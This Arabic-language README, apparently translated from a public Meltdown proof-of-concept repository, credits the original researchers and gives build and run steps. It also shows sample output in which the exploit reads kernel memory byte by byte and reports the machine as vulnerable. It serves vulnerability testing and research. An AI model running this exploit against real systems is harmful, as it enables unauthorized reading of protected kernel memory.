
Meltdown Exploit PoC
تقوم التحسينات التخمينية بتنفيذ التعليمات البرمجية بطريقة غير آمنة، مما يترك آثارًا للبيانات في البنية الدقيقة مثل ذاكرة التخزين المؤقت.
نشر ليب وآخرون (Lipp et al.) عام 2018 كودهم في 2018-01-09 على https://github.com/IAIK/meltdown. اطلع على ورقتهم البحثية للحصول على التفاصيل: https://meltdownattack.com/meltdown.pdf.
في الوقت الحالي، يمكن فقط تفريغ linux_proc_banner، لأنه يتطلب أن تكون الذاكرة التي تم الوصول إليها في ذاكرة التخزين المؤقت، ويتم تخزين linux_proc_banner مؤقتًا في كل قراءة من /proc/version. قد يعمل مع prefetch. يعمل مع sched_yield.
قم بالبناء باستخدام make، ثم قم بتشغيله باستخدام ./run.sh.
لا يمكن التغلب على KASLR بعد، لذا قد تحتاج إلى إدخال كلمة المرور الخاصة بك للعثور على linux_proc_banner في /proc/kallsyms (أو القيام بذلك يدويًا).
تم اعتماد أسلوب Flush+Reload والمصفوفة المستهدفة من ورقة spectre https://spectreattack.com/spectre.pdf وتم تنفيذه باتباع إشارات من https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.
صندوق باندورا مفتوح.
ألقِ نظرة على الاستغلال الكامل الذي يعمل مع إصدار IAIK على جهازي.
النتيجة:
$ make
cc -O2 -msse2 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk
/linux_proc_banner/ {
if (strtonum("0x"$1))
print $1;
exit 0;
} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON
4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 158
model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping : 9
microcode : 0x5e
cpu MHz : 3499.316
cache size : 6144 KB
physical id : 0
تم نقل قائمة وحدات المعالجة المركزية/النوى القابلة للاختراق إلى هنا: https://github.com/paboldin/meltdown-exploit/issues/19
تم نقل قائمة وحدات المعالجة المركزية/النوى غير القابلة للاختراق إلى هنا: https://github.com/paboldin/meltdown-exploit/issues/22